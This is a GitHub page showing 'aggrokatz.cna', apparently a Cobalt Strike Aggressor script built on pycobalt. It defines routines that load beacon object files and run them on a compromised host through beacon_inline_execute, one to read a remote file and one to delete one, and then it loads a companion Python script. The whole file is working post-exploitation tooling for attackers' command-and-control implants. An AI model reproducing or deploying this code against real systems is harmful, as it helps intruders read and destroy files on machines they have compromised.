-
Notifications
You must be signed in to change notification settings - Fork 28
/
aggrokatz.cna
41 lines (29 loc) · 847 Bytes
/
aggrokatz.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$pycobalt_path = '/home/kali/Desktop/pycobalt/aggressor';
include($pycobalt_path . '/pycobalt.cna');
sub rfs {
local('$handle $data $args');
# read in the right BOF file
$handle = openf($2);
$data = readb($handle, -1);
closef($handle);
# pack our arguments
$args = bof_pack($1, "Ziii", $3, $4, $5, $6);
# announce what we're doing
btask($1, "Reading file..." . $3);
# execute it.
beacon_inline_execute($1, $data, "go", $args);
}
sub fdelete {
local('$handle $data $args');
# read in the right BOF file
$handle = openf($2);
$data = readb($handle, -1);
closef($handle);
# pack our arguments
$args = bof_pack($1, "Zi", $3, $4);
# announce what we're doing
btask($1, "Deleting file..." . $3);
# execute it.
beacon_inline_execute($1, $data, "delete", $args);
}
python(script_resource('aggrokatz.py'));